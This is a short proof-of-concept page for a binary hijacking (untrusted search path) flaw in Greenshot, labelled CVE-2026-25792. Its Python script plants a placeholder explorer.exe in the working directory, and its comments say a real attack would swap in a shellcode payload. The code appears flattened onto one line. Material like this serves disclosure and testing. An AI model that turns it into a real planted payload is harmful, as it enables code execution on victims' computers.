CVE-2026-25792 Greenshot 二进制劫持漏洞

# Proof of Concept (PoC) for CVE-2026-25792 # This script demonstrates how to create a malicious executable # to exploit the untrusted search path vulnerability. import os # Simulate creating a malicious explorer.exe in the current directory # In a real attack, this would be a compiled binary payload. def create_malicious_exe(): malicious_filename = "explorer.exe" # In a real scenario, this file would contain shellcode or a payload # Here we create a dummy file for demonstration with open(malicious_filename, "wb") as f: f.write(b"This is a fake explorer.exe payload.") print(f"[+] Created malicious executable: {os.path.abspath(malicious_filename)}") print("[+] If Greenshot is launched from this directory and triggers the vuln, this file will execute.") if __name__ == "__main__": create_malicious_exe()